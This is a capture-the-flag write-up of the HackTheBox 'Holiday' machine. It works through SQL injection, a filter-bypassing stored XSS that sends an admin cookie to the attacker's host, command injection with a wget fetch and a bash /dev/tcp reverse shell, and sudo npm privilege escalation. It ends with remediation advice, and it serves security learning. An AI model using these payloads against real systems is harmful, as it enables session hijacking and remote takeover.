Holiday - HTB Hard Machine

OS Linux
Difficulty Hard
User Owns 1K
Root Owns 1K
Rating 4.9/5
Release 2017/06/02
Creator g0blin
First Blood User tomtoump
First Blood Root tomtoump
User Rated Difficulty

About

Holiday is definitely one of the more challenging machines on HackTheBox. It touches on many different subjects and demonstrates the severity of stored XSS, which is leveraged to steal the session of an interactive user. The machine is very unique and provides an excellent learning experience.

Exploitation

Enumeration

I started with an nmap scan that revealed two open TCP ports: SSH on port 22 and a Node.js Express service running on port 8000. The UDP scan showed some potential open ports, but they looked like false positives. I decided to focus on the TCP ports first and only check UDP if the TCP services didn't lead anywhere.

## TCP scan  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 11:32 -03  
Nmap scan report for 10.10.10.25  
Host is up (0.18s latency).  
  
PORT     STATE SERVICE VERSION  
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)  
|   256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)  
|_  256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)  
8000/tcp open  http    Node.js Express framework  
|_http-title: Error  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 22.29 seconds  
  
## UDP scan (--top-ports 1000)  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 11:33 -03  
Warning: 10.10.10.25 giving up on port because retransmission cap hit (6).  
Nmap scan report for 10.10.10.25  
Host is up, received user-set (0.17s latency).  
Not shown: 992 closed udp ports (port-unreach)  
PORT      STATE         SERVICE     REASON      VERSION  
800/udp   open|filtered mdbs_daemon no-response  
16674/udp open|filtered unknown     no-response  
20360/udp open|filtered unknown     no-response  
20842/udp open|filtered unknown     no-response  
39632/udp open|filtered unknown     no-response  
46093/udp open|filtered unknown     no-response  
49181/udp open|filtered unknown     no-response  
49201/udp open|filtered unknown     no-response  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 1144.83 seconds  
  
## Runtime  
00:20:37

When I navigated to the homepage on port 8000, all I saw was a simple hexagonal image with nothing particularly interesting.

Screenshot

The source code showed the page was using jQuery, but there wasn't much useful information beyond that.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Booking Management</title>
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0">
<link rel="stylesheet" type="text/css" href="/css/bootstrap.min.css" />
<link rel="stylesheet" type="text/css" href="/css/main.min.css" />
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</head>

<body>
<center><img class='hex-img' src='/img/hex.png'/></center>
</body>

</html>

I ran feroxbuster but got nothing back, which seemed odd.

feroxbuster -u http://10.10.10.25:8000 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --dont-filter --depth 2 --dont-extract-links -C 404 -x js,html 

I decided to manually test some common paths like /login, and surprisingly, it returned a login page. This was strange because feroxbuster should have caught this.

Screenshot

To understand what was happening, I started testing with curl. When I sent a request to /login without any custom headers, it returned a 404 error.

└─ $ curl -I http://10.10.10.25:8000/login  
HTTP/1.1 404 Not Found  
X-Powered-By: Express  
Content-Security-Policy: default-src 'self'  
X-Content-Type-Options: nosniff  
Content-Type: text/html; charset=utf-8  
Content-Length: 144  
Vary: Accept-Encoding  
Date: Wed, 29 Oct 2025 16:59:34 GMT  
Connection: keep-alive

Then I copied the User-Agent header from my Firefox request and tried again. This time I got a 200 response.

└─ $ curl -I -H "User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" http://10.10.10.25:8000/login  
HTTP/1.1 200 OK  
X-Powered-By: Express  
Content-Type: text/html; charset=utf-8  
Content-Length: 1171  
ETag: W/"493-Qtp1wu9uJoVZONNv6L8DkJIAxlA"  
Vary: Accept-Encoding  
Date: Wed, 29 Oct 2025 17:01:16 GMT  
Connection: keep-alive

Now I understood the issue. The application was filtering requests based on the User-Agent header. I ran feroxbuster again, this time adding the --random-agent flag that was introduced in version 2.4. This flag uses random user agents, which is definitely better than using a generic one. With this flag enabled, I immediately got more responses.

└─ $ feroxbuster -u http://10.10.10.25:8000 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  
--dont-filter --depth 2 --dont-extract-links -C 404 --random-agent -x js  
                                                                                                                        
___  ___  __   __     __      __         __   ___  
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__  
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___  
by Ben "epi" Risher 🤓                 ver: 2.13.0  
───────────────────────────┬──────────────────────  
🎯  Target Url            │ http://10.10.10.25:8000/  
🚩  In-Scope Url          │ 10.10.10.25  
🚀  Threads               │ 50  
📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  
💢  Status Code Filters   │ [404]  
💥  Timeout (secs)        │ 7  
🦡  User-Agent            │ Random  
💉  Config File           │ /etc/feroxbuster/ferox-config.toml  
💲  Extensions            │ [js]  
🏁  HTTP methods          │ [GET]  
🤪  Filter Wildcards      │ false  
🔃  Recursion Depth       │ 2  
───────────────────────────┴──────────────────────  
🏁  Press [ENTER] to use the Scan Management Menu™  
──────────────────────────────────────────────────  
200      GET       18l       38w      621c http://10.10.10.25:8000/  
301      GET        9l       15w      165c http://10.10.10.25:8000/img => http://10.10.10.25:8000/img/  
200      GET       30l       78w     1171c http://10.10.10.25:8000/login  
301      GET        9l       15w      165c http://10.10.10.25:8000/css => http://10.10.10.25:8000/css/  
200      GET       30l       78w     1171c http://10.10.10.25:8000/Login  
302      GET        1l        4w       28c http://10.10.10.25:8000/agent => http://10.10.10.25:8000/login  
302      GET        1l        4w       28c http://10.10.10.25:8000/Admin => http://10.10.10.25:8000/login  
302      GET        1l        4w       28c http://10.10.10.25:8000/Logout => http://10.10.10.25:8000/login  
200      GET       30l       78w     1171c http://10.10.10.25:8000/LogIn  
200      GET       30l       78w     1171c http://10.10.10.25:8000/LOGIN

Back at the /login page, I tried some default admin credentials and received an "Invalid User" message. This told me the username didn't exist, which meant I could potentially brute force valid usernames. However, I decided to explore other options first.

Screenshot

Foothold

I tried SQL injection next. When I entered the payload " OR 1=1, I got an error message, which was a good sign that there might be a vulnerability here.

Screenshot

I captured the request in Burp Repeater and tested more payloads. When I tried " OR "1"="1 (using double quotes around the comparison), I got an "Incorrect Password" message. Interestingly, the response included a value showing "RickA", which looked like a valid username.

Screenshot

I tried the same payload in the password field, but it didn't log me in. I then saved the request from Burp to a file and ran sqlmap with specific parameters to see if it could dump the database.

sqlmap -r login.holiday --level 5 --risk 3 --batch --dump -p username --dbs --threads 10 --technique=BEU
...SNIP...
[14:31:08] [INFO] POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Incorrect Password")  
[14:31:10] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite'
...SNIP...
sqlmap identified the following injection point(s) with a total of 261 HTTP(s) requests:  
---  
Parameter: username (POST)  
   Type: boolean-based blind  
   Title: AND boolean-based blind - WHERE or HAVING clause  
   Payload: username=RickA") AND 8126=8126 AND ("Gnke"="Gnke&password=pass  
---  
[14:32:35] [INFO] testing SQLite  
[14:32:35] [INFO] confirming SQLite  
[14:32:36] [INFO] actively fingerprinting SQLite  
[14:32:36] [INFO] the back-end DBMS is SQLite  
web application technology: Express  
back-end DBMS: SQLite
...SNIP...
[14:32:36] [INFO] fetching tables for database: 'SQLite_masterdb'  
[14:32:36] [INFO] fetching number of tables for database 'SQLite_masterdb'  
[14:32:36] [INFO] retrieved: 5  
[14:32:39] [INFO] retrieving the length of query output  
[14:32:38] [INFO] retrieved: 5  
[14:32:45] [INFO] retrieved: users              
[14:32:45] [INFO] retrieving the length of query output  
[14:32:45] [INFO] retrieved: 15  
[14:32:55] [INFO] retrieved: sqlite_sequence                
[14:32:55] [INFO] retrieving the length of query output  
[14:32:55] [INFO] retrieved: 5  
[14:33:02] [INFO] retrieved: notes              
[14:33:02] [INFO] retrieving the length of query output  
[14:33:02] [INFO] retrieved: 8  
[14:33:09] [INFO] retrieved: bookings              
[14:33:09] [INFO] retrieving the length of query output  
[14:33:09] [INFO] retrieved: 8  
[14:33:16] [INFO] retrieved: sessions              
[14:33:16] [INFO] retrieving the length of query output

I confirmed the backend was SQLite and found several tables, including a users table. I ran sqlmap again with the -D SQLite_masterdb -T users parameters to target that specific table, and it returned a password hash.

sqlmap -r login.holiday --level 5 --risk 3 --batch --dump -p username --dbs --threads 10 --technique=BEU -D SQLite_masterdb -T users
...SNIP...
[14:52:24] [WARNING] no clear password(s) found                                                                                                                                                                                                 
Database: <current>  
Table: users  
[1 entry]  
+----+--------+----------------------------------+----------+  
| id | active | password                         | username |  
+----+--------+----------------------------------+----------+  
| 1  | 1      | fdc8cd4cff2c19e0d1022e78481ddf36 | RickA    |  
+----+--------+----------------------------------+----------+
...SNIP...

I attempted to crack the hash using hashcat with the well-known rockyou wordlist from SecLists, but it returned nothing. I then tried the online service hashes.com and successfully recovered the password: nevergonnagiveyouup. Pretty funny considering the username is RickA.

Screenshot

Exploiting XSS for Session Hijacking

After logging in with the credentials RickA:nevergonnagiveyouup, I gained access to the /agent path, which displayed a list of bookings with various names and UUIDs.

Screenshot

Clicking on any UUID showed me the booking details and associated notes.

Screenshot

The notes section had a text area where I could write and submit content.

Screenshot

After submitting a note, it appeared within about a minute through what seemed to be an automated process, despite the message saying it needed administrator approval. The wording of this message immediately made me think of XSS attacks, similar to those found in blog comment sections.

Screenshot

I tested a basic XSS payload, but it didn't work. The application was clearly filtering and encoding certain characters, so I needed to find a bypass method.

<script>console.log("vulnerable to XSS\n".concat(document.domain).concat("\n").concat(window.origin))</script>
Screenshot

Using an <img src> tag didn't trigger any visible filtering. I didn't get an alert popup, which suggested the request might be processed server-side rather than in my browser.

Screenshot

To test if the XSS was actually executing, I created a test image file on my attacking machine.

└─ $ touch nika.jpg

Then I started a simple HTTP server.

└─ $ python3 -m http.server 8001

I submitted a payload that would request this image from my server.

<img src=http://10.10.16.3:8001/nika.jpg>

About a minute later, I received a 200 request from the target box, confirming that XSS was definitely working.

10.10.10.25 - - [29/Oct/2025 15:44:10] "GET /nika.jpg HTTP/1.1" 200 -

Now the challenge was figuring out how to extract something useful, particularly session cookies. I tried numerous payloads but nothing seemed to work with the filtering in place.

After extensive research and nearly giving up, I found a bypass technique on 0xdf's writeup. This finally explained the significance of the username and password from this box.

Following the steps provided, I first created a JavaScript file named nika.js to steal the session cookie.

window.addEventListener('DOMContentLoaded', function(e) {
window.location = "http://10.10.16.3:9001/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})

then made this payload,

<img src="/><script>eval(String.fromCharCode(document.write('<script src="http://10.10.16.3:8001/nika.js"></script>');))</script>" />

The bypass technique involved using String.fromCharCode() to encode the payload and evade the filters. I needed to convert my JavaScript payload into character codes. To do this, I used Python to convert each character of my payload string into its ASCII decimal value.

>>>payload = '''document.write('<script src="http://10.10.16.3:8001/nika.js"></script>');'''
>>>','.join([str(ord(c)) for c in payload])
'100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,51,58,56,48,48,49,47,110,105,107,97,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59'

This Python code takes each character in the payload and converts it to its decimal ASCII representation. By passing these numbers to String.fromCharCode(), the JavaScript engine reconstructs the original string at runtime, effectively bypassing input filters that check for script tags or other malicious patterns.

I then constructed the final payload by wrapping the character codes in String.fromCharCode() and using eval() to execute it.

<img src="/><script>eval(String.fromCharCode('100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,51,58,56,48,48,49,47,110,105,107,97,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59'))</script>" />

After submitting this payload in the note form and waiting about a minute, I successfully captured the administrator's session cookie.

└─ $ nc -lvnp 9001  
listening on [any] 9001 ...  
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.25] 53210  
GET /?cookie=connect.sid=s%253Adc5f98e0-b502-11f0-b254-d968cf80e4b3.Va%252FP8uyj6vsfiYN0aDEC5yt7J8c0%252BR7LxlY9%252BCuZUoM HTTP/1.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Referer: http://localhost:8000/vac/351fe9ac-97d7-4869-9e14-4cb699a4ff15  
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1  
Connection: Keep-Alive  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,*  
Host: 10.10.16.3:9001

Important

The captured cookie needs to be URL decoded before use.

I decoded the cookie and replaced my existing session cookie in Firefox. After refreshing the page, a new "Admin" tab appeared in the navigation.

Screenshot

The admin page itself didn't seem to have much content initially.

Screenshot

However, I remembered from the earlier feroxbuster scan that there was an /admin endpoint.

Clicking on the bookings and notes buttons triggered file exports with structured data from the database tables I had seen earlier during the sqlmap enumeration.

Screenshot

Looking at the request in Burp, I noticed the export function used a parameter to specify which table to export: export?table=bookings.

Screenshot

I tested if I could change the table name, and more importantly, if I could inject commands. I tried using the & character (URL encoded as %26) to chain commands. When I performed an id command injection, I successfully got output, confirming command injection was possible.

Screenshot

My first attempt at getting a reverse shell directly failed with an error message: Invalid table name - only characters in the range of [a-z0-9&\s/] are allowed. The application had a regex filter that blocked characters commonly found in IP addresses, particularly dots.

bash+-c+"bash+-i+>%26+/dev/tcp/10.10.16.3/9001+0>%261"

To bypass this restriction, I needed to encode my IP address in a format that Linux accepts but doesn't use dots. I used hexadecimal IP address encoding, which is a common bypass technique when dot characters or standard IP notation are filtered.

How Hexadecimal IP Encoding Works:

Linux systems accept IP addresses in hexadecimal format. Each octet of the IP address is converted to hex and concatenated with a 0x prefix.

For an IP address A.B.C.D, the conversion process is:

  1. Convert each octet to hexadecimal
  2. Concatenate them as 0xAABBCCDD

I wrote a Python script to perform this conversion:

def ip_to_hex(ip):
octets = ip.split('.')
hex_ip = '0x' + ''.join(f'{int(octet):02x}' for octet in octets)
return hex_ip

ip = "10.10.16.3" #your IP here
hex_ip = ip_to_hex(ip)
print(f"{ip} -> {hex_ip}")

For my IP 10.10.16.3, this converted to 0x0a0a1003.

Instead of trying to encode the entire reverse shell command in the URL, I created a bash script file to upload to the target.

vi nika

The content of the nika file:

#!/bin/bash

bash -i >& /dev/tcp/10.10.16.3/9001 0>&1

I started an HTTP server on the default port 80 to avoid having to include the port number in the payload, which would help bypass the regex filter.

python3 -m http.server 80

Then I used wget in the command injection payload to upload the file:

wget+0x0a0a1003/nika

Burp didn't show any error messages, indicating the command executed successfully.

Screenshot

My HTTP server confirmed the file was downloaded with a 200 response.

10.10.10.25 - - [29/Oct/2025 17:47:42] "GET /nika HTTP/1.1" 200 -

I verified the upload by using ls in the command injection, and I could see the file was present on the target system.

Screenshot

Now I just needed to execute the uploaded file. I started a netcat listener on port 9001:

nc -lvnp 9001

Then executed the script using the command injection:

GET /admin/export?table=users%26bash+nika 

Finally, I received a reverse shell connection on my listener.

Screenshot

I was now running as the user algernon:

algernon@holiday:~/app$ whoami  
algernon

USER

With shell access as algernon, I was able to retrieve the user flag:

algernon@holiday:~/app$ cat /home/algernon/user.txt    
430814da78076637...

Privilege Escalation

I checked what sudo privileges the algernon user had by running sudo -l:

algernon@holiday:~/app$ sudo -l  
Matching Defaults entries for algernon on holiday:  
   env_reset, mail_badpass,  
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User algernon may run the following commands on holiday:  
   (ALL) NOPASSWD: /usr/bin/npm i *

This output showed that algernon could run npm i (npm install) with any arguments as root without needing a password. This was a significant privilege that could be exploited for privilege escalation.

I searched GTFOBins for npm exploitation techniques and found a payload that leveraged the preinstall script hook in npm's package.json. The exploit works because npm executes scripts defined in package.json during the installation process, and when run with sudo, these scripts execute with root privileges.

I needed just to adjust the payload slightly to match the exact sudo command format allowed, moving the i flag to align with the permitted command structure:

algernon@holiday:/tmp$ TF=$(mktemp -d)  
algernon@holiday:/tmp$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
algernon@holiday:/tmp$ sudo npm i -C $TF --unsafe-perm  
  
> undefined preinstall /tmp/tmp.v1jgGoY9Bu  
> /bin/sh  

# whoami  
root

The exploit worked. The --unsafe-perm flag was necessary because it tells npm to run scripts as the actual invoking user (root in this case) rather than dropping privileges. When npm ran the preinstall script, it spawned a root shell.

ROOT

With root access, I got the final flag:

# cat /root/root.txt    
62f13423ce819f...

Vulnerability Analysis

User-Agent Based Access Control (CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax)
The application implemented security through obscurity by filtering requests based on the User-Agent header. Endpoints like /login returned 404 responses when accessed with default or missing User-Agent strings but served the actual content when a browser-like User-Agent was present. This behavior attempted to hide functionality from automated scanners but provided no real security. Any attacker who manually tested the endpoint or used a proper User-Agent could bypass this control entirely.

SQL Injection in Authentication (CWE-89: Improper Neutralization of Special Elements in SQL Command)
The login form's username parameter was vulnerable to boolean-based blind SQL injection. The application used SQLite and failed to properly sanitize user input before constructing SQL queries. By injecting payloads like RickA") AND 8126=8126 AND ("Gnke"="Gnke, I could manipulate the query logic to extract information about the database structure and contents. This vulnerability allowed me to enumerate the entire users table and retrieve password hashes without valid credentials.

Weak Password Hashing (CWE-327: Use of a Broken or Risky Cryptographic Algorithm)
The application stored user passwords using MD5 hashing without salt. The hash fdc8cd4cff2c19e0d1022e78481ddf36 was easily reversed to the plaintext password nevergonnagiveyouup using online rainbow table services. MD5 is cryptographically broken and provides minimal protection against password recovery attacks, especially for common passwords that exist in precomputed hash databases.

Cross-Site Scripting with Insufficient Input Sanitization (CWE-79: Improper Neutralization of Input During Web Page Generation)
The notes functionality allowed users to submit content that was later rendered in an administrator's browser context through an automated review process. While the application attempted to filter dangerous HTML tags and JavaScript, it failed to prevent encoded payloads. By using String.fromCharCode() to encode the malicious script, I bypassed the filters and executed arbitrary JavaScript in the administrator's session. This allowed me to steal session cookies and hijack the administrator account.

Insecure Session Management (CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute)
The application used session cookies for authentication but failed to implement proper security attributes. The stolen session cookie worked immediately without requiring any additional authentication factors. The cookie appeared to lack the HttpOnly flag (since it was accessible via JavaScript in the XSS attack) and likely lacked the Secure flag and proper SameSite settings, making it vulnerable to various session hijacking attacks.

Command Injection in Export Functionality (CWE-78: Improper Neutralization of Special Elements in OS Command)
The admin panel's export feature took a table name parameter and used it to generate database exports. The application attempted to validate input using a regex pattern [a-z0-9&\s\/] but still allowed the ampersand character, which enabled command chaining in the shell. By injecting &bash nika after a valid table name, I could execute arbitrary system commands with the privileges of the web application user. The regex filter blocked dots, preventing direct IP addresses, but failed to prevent hexadecimal IP encoding (0x0a0a1003), which Linux systems accept as valid network addresses.

Sudo Misconfiguration with npm (CWE-250: Execution with Unnecessary Privileges)
The system allowed the algernon user to run /usr/bin/npm i * with sudo privileges without requiring a password. The npm package manager executes lifecycle scripts defined in package.json files during installation, including preinstall hooks. By creating a malicious package.json with a preinstall script containing /bin/sh and using the --unsafe-perm flag, I could spawn a root shell. This sudo configuration granted unnecessary privileges for what appeared to be a development or deployment convenience feature.

Vulnerability Remediation

User-Agent Based Access Control
Remove User-Agent header checks as an access control mechanism. Implement proper authentication for all sensitive endpoints. If you need to detect automated scanners, use rate limiting and Web Application Firewall (WAF) rules instead of header-based filtering. Authentication should rely on credentials, tokens, or certificates, not request metadata that attackers can trivially manipulate.

SQL Injection in Authentication
Use parameterized queries or prepared statements for all database operations. Never concatenate user input directly into SQL commands. For Node.js applications using SQLite, use the parameterized query syntax: db.get("SELECT * FROM users WHERE username = ?", [username]). Implement input validation as a defense-in-depth measure, but always rely on parameterized queries as the primary protection. Consider using an ORM like Sequelize that handles parameterization automatically.

Weak Password Hashing
Replace MD5 with bcrypt, scrypt, or Argon2 for password hashing. These algorithms are specifically designed for password storage and include automatic salting and configurable work factors. For Node.js, use the bcrypt library: bcrypt.hash(password, 10) for hashing and bcrypt.compare(password, hash) for verification. The work factor (10 in this example) should be tuned based on your server's performance and security requirements. Implement a password migration strategy to rehash existing passwords when users next log in.

Cross-Site Scripting with Insufficient Input Sanitization
Implement context-aware output encoding for all user-generated content. For HTML contexts, use a mature sanitization library like DOMPurify rather than writing custom filters. Blacklist-based filtering is insufficient because attackers can always find encoding bypasses. Implement a Content Security Policy (CSP) header that restricts script sources to prevent inline JavaScript execution: Content-Security-Policy: default-src 'self'; script-src 'self'. For the notes functionality, consider whether HTML rendering is necessary at all. If plain text is sufficient, render user input as text content rather than HTML to eliminate the XSS attack surface entirely.

Insecure Session Management
Configure session cookies with security flags: HttpOnly to prevent JavaScript access, Secure to enforce HTTPS transmission, and SameSite=Strict to prevent CSRF attacks. For Express.js applications, configure the session middleware properly: cookie: { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }. Implement session invalidation on logout and consider regenerating session IDs after authentication to prevent session fixation attacks. For high-privilege accounts like administrators, implement additional protections such as IP address validation or requiring re-authentication for sensitive operations.

Command Injection in Export Functionality
Never pass user input directly to shell commands. Use language-native database libraries to generate exports instead of calling external commands. If you must execute system commands, use language features that avoid shell interpretation entirely. In Node.js, use child_process.execFile() instead of exec() or spawn with shell: false. Better yet, use the database driver's native export functionality or generate the export file using application code. For the specific case of table name validation, use a whitelist of allowed table names rather than regex filtering: const allowedTables = ['users', 'bookings', 'notes']; if (!allowedTables.includes(tableName)) throw new Error('Invalid table');.

Sudo Misconfiguration with npm
Remove the sudo privilege for npm entirely. Application dependencies should be installed during deployment, not at runtime by the application user. If package installation must happen on the production system, use a dedicated deployment process that doesn't grant interactive privileges. Never allow sudo access to package managers, compilers, or other tools that can execute arbitrary code through configuration files or plugins. If npm must be accessible for legitimate administrative tasks, restrict it to specific directories and disable script execution: create a wrapper script that calls npm install --ignore-scripts and grant sudo access to that wrapper instead. Review all sudo configurations regularly and apply the principle of least privilege.

References

the master 0xdf
gtfobins